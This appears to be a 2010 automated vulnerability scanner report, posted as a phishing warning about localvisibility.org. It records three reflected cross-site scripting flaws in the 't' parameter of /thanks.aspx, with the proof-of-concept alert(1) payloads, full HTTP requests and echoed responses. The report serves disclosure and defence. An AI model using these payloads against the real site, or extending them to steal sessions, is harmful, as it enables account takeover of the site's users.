PHISHING | SCAMS | E-mails from localvisibility.org are a SCAM at Sat Oct 16 15:17:44 CDT 2010.

Cross Site Scripting Reports | PHISHING SCAM | Localvisibility.org

DO NOT OPEN THE E-MAIL FROM LOCALVISIBILITY.ORG

1. Cross-site scripting (reflected)

Contents

Loading

1.1. http://www.localvisibility.org/thanks.aspx [t parameter]

1.2. http://www.localvisibility.org/thanks.aspx/ [t parameter]

1.3. http://www.localvisibility.org/thanks.aspx/ [t parameter]


1. Cross-site scripting (reflected)
There are 3 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.localvisibility.org/thanks.aspx [t parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.localvisibility.org
Path:   /thanks.aspx

Issue detail

The value of the t request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 663a5'%3balert(1)//c37f27e9bf7 was submitted in the t parameter. This input was echoed as 663a5';alert(1)//c37f27e9bf7 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /thanks.aspx?q=5305338383&t=S_Lead_Search_Status663a5'%3balert(1)//c37f27e9bf7 HTTP/1.1
Host: www.localvisibility.org
Proxy-Connection: keep-alive
Referer: http://www.localvisibility.org/search.aspx?q=5305338383
Cache-Control: max-age=0
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=69476621.1287257496.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ASP.NET_SessionId=rzqaaavwrvbb0kndrzwyzc55; __utmx=69476621.00011917183750346888:4:0; __utmxx=69476621.00011917183750346888:3062676:2592000; bizID=f2328c857e1c4807b9b757ffa25d9ea3_00162_006; MSAVersion=Businesses_7; url=http%3A//www.localvisibility.org/search.aspx%3Fq%3D5305338383; refID=; __utma=69476621.2012376116.1287257496.1287257496.1287257496.1; __utmc=69476621; __utmb=69476621.32.8.1287257901269

Response

HTTP/1.1 200 OK
Cache-Control: private
Date: Sat, 16 Oct 2010 19:43:22 GMT
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Vary: Accept-Encoding
Content-Length: 20145


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head><title>
   www.local
...[SNIP]...
<script type="text/javascript">
function prefixOnload()
{
setPrefixVal('T');
gaFormTrack('S_Lead_Search_Status663a5';alert(1)//c37f27e9bf7');
}
</script>
...[SNIP]...
1.2. http://www.localvisibility.org/thanks.aspx/ [t parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.localvisibility.org
Path:   /thanks.aspx/

Issue detail

The value of the t request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 52fa3'%3balert(1)//b92681043bd was submitted in the t parameter. This input was echoed as 52fa3';alert(1)//b92681043bd in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /thanks.aspx/?q=5305338383&t=52fa3'%3balert(1)//b92681043bd HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www.localvisibility.org

Response

HTTP/1.1 200 OK
Cache-Control: private
Date: Sat, 16 Oct 2010 20:07:36 GMT
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=k1e2yh55ub2srneycom2ir55; path=/; HttpOnly
Vary: Accept-Encoding
Content-Length: 19963


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head><title>
   www.local
...[SNIP]...
<script type="text/javascript">
function prefixOnload()
{
setPrefixVal('T');
gaFormTrack('52fa3';alert(1)//b92681043bd');
}
</script>
...[SNIP]...
1.3. http://www.localvisibility.org/thanks.aspx/ [t parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.localvisibility.org
Path:   /thanks.aspx/

Issue detail

The value of the t request parameter is copied into a JavaScript rest-of-line comment. The payload 39b54%0aalert(1)//063afd63567 was submitted in the t parameter. This input was echoed as 39b54
alert(1)//063afd63567 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /thanks.aspx/?q=5305338383&t=S_Lead_Search_Status663a5'%3balert(1)//c37f27e9bf739b54%0aalert(1)//063afd63567 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www.localvisibility.org

Response

HTTP/1.1 200 OK
Cache-Control: private
Date: Sat, 16 Oct 2010 20:07:36 GMT
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=z0o4bt55zi2sgg455kznye55; path=/; HttpOnly
Vary: Accept-Encoding
Content-Length: 20063


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head><title>
   www.local
...[SNIP]...
cript type="text/javascript">
function prefixOnload()
{
setPrefixVal('T');
gaFormTrack('S_Lead_Search_Status663a5';alert(1)//c37f27e9bf739b54
alert(1)//063afd63567');
}
</script>
...[SNIP]...
Report generated by XSS.CX at Sat Oct 16 15:17:44 CDT 2010.